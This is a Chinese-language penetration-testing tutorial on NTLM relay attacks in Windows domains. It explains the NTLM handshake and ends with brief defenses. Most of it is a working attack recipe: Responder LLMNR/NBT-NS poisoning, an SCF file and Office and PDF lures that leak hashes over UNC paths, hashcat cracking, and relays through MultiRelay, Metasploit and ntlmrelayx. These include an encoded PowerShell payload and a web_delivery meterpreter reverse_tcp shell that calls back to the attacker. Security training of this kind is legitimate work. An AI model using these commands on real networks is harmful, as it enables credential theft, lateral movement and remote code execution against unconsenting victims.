内网渗透之NTLM中继劫持
字数 2025 2025-08-23 18:31:17
NTLM中继劫持攻击技术详解
协议基础
NTLM协议概述
NTLM(NTLAN Manager)是Windows NT早期版本的标准安全协议,Windows 2000及后续版本为保持向后兼容而继续支持。NTLM协议主要提供认证、完整性和机密性保护,包含三个版本:
- NTLM v1
- NTLM v2
- NTLM Session v2
NTLM认证流程
- Type1 message(协商):客户端向服务器发送包含明文用户名的请求
- Type2 message(挑战):
- 服务端查询用户名是否存在
- 从本地SAM数据库提取用户hash
- 生成16位随机数(Challenge)
- 使用用户密码hash加密Challenge(存储为challenge1)
- 将明文Challenge发送给客户端
- Type3 message(认证):
- 客户端使用用户密码hash加密Challenge
- 将加密结果发送给服务器
- 服务器比较接收的加密结果与存储的challenge1
中继攻击原理
基本概念
- NTLM SSP:微软实现的NTLM安全支持提供程序,可通过多种协议(SMB、HTTP、LDAP、MSSQL等)传输NTLM认证消息
- NTLM Hash:用户密码的Hash(LM hash或NT Hash),用于PTT(Pass The Hash)攻击
- Net-NTLM Hash:NTLM认证过程中客户端使用密码Hash加密Challenge生成的Response,用于中继攻击
中继流程
- 攻击者作为中间人,伪装成服务端与客户端交互
- 同时伪装成客户端与真实服务端交互
- 将客户端的认证请求中继到服务端
- 服务端认为攻击者就是合法客户端
攻击步骤
第一步:获取Net-NTLM Hash
1. 利用LLMNR/NBT-NS投毒
- 用户输入错误SMB共享地址(如
\\Al1ex) - DNS解析失败后,客户端进行LLMNR/NBT-NS广播
- 攻击者响应广播,声称自己是目标主机
- 客户端发送认证信息,攻击者获取Net-NTLM Hash
工具使用:
responder -I eth0 -f
2. 通过系统图标诱骗
- 修改文件夹的
desktop.ini文件 - 将图标路径设置为UNC路径(如
\\192.168.1.1\share) - 用户访问文件夹时自动连接攻击者服务器
3. 利用SCF文件
- 创建.scf文件,内容包含UNC路径:
[Shell]
Command=2
IconFile=\\192.168.1.1\share\test.ico
[Taskbar]
Command=ToggleDesktop
- 用户浏览包含该文件的文件夹时触发连接
4. 利用用户头像
- 适用于Windows 10/2016/2019
- 更改账户图片时指定远程图片URL
- 系统会以SYSTEM权限(域内为机器账户)访问该URL
5. 恶意PDF文件
- 利用PDF规范中的GoToR/GoToE条目加载远程内容
- 使用工具生成恶意PDF(如Worse-PDF)
- 注意:Chrome/IE浏览器打开PDF可能不会执行
6. Office文档攻击
- 在Word文档中插入图片
- 修改
document.xml.rels文件,将图片路径改为UNC路径 - 添加
TargetMode="External"属性 - 用户打开文档时触发连接
第二步:Hash破解
使用hashcat破解Net-NTLM Hash:
hashcat -m 5600 Net-NTLM-Hash PasswordFileLocation
中继攻击实施
SMB中继攻击
前提条件
- 目标SMB签名关闭(可通过nmap检测):
nmap -n -p445 192.168.1.1 --script=smb-security-mode
方法1:Responder + MultiRelay
- 修改Responder.conf,关闭SMB和HTTP监听
- 启动Responder:
responder -I eth0 -w -r -f
- 使用MultiRelay模块:
python MultiRelay.py -t 目标IP -u ALL
方法2:Metasploit
- 使用
exploit/windows/smb/smb_relay模块 - 设置参数并执行
- 诱导受害者连接攻击者SMB服务:
net use \\攻击者IP\c$
注意:仅支持NTLM v1,现代系统可能失败
方法3:Empire框架
- 启动Empire并清除agent
- 启动DeathStar:
python3 DeathStar.py -lip 攻击者IP -t 100 -u username -p password
- 生成PowerShell payload
- 使用ntlmrelayx执行中继:
ntlmrelayx.py -t 目标IP -c 'powershell -noP -sta -w 1 -enc [payload]'
自动化攻击流程
- 启动Responder监听:
responder -I eth0 -r -d -w
- 启动MSF的web_delivery模块:
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
run
- 启动ntlmrelayx:
./ntlmrelayx.py -t 目标IP -c "命令" -smb2support
- 诱导域内主机连接
直接NTLM中继
使用impacket的ntlmrelayx:
python3 ./ntlmrelayx.py -t smb://目标IP -c "whoami" -smb2support
防御措施
-
禁用LLMNR/NBT-NS:
- 组策略中禁用LLMNR和NetBIOS over TCP/IP
-
启用SMB签名:
- 对所有SMB通信强制要求签名
-
网络隔离:
- 限制NTLM认证流量仅限必要路径
- 实施网络分段
-
使用更安全的协议:
- 尽可能使用Kerberos替代NTLM
-
用户教育:
- 避免点击不明文件
- 警惕异常认证请求
-
监控与检测:
- 监控异常的NTLM认证请求
- 检测LLMNR/NBT-NS投毒行为
总结
NTLM中继攻击是一种有效的横向移动技术,通过获取并中继Net-NTLM Hash,攻击者可以在域环境中提升权限。防御的关键在于禁用不安全的协议、启用SMB签名和实施适当的网络分段。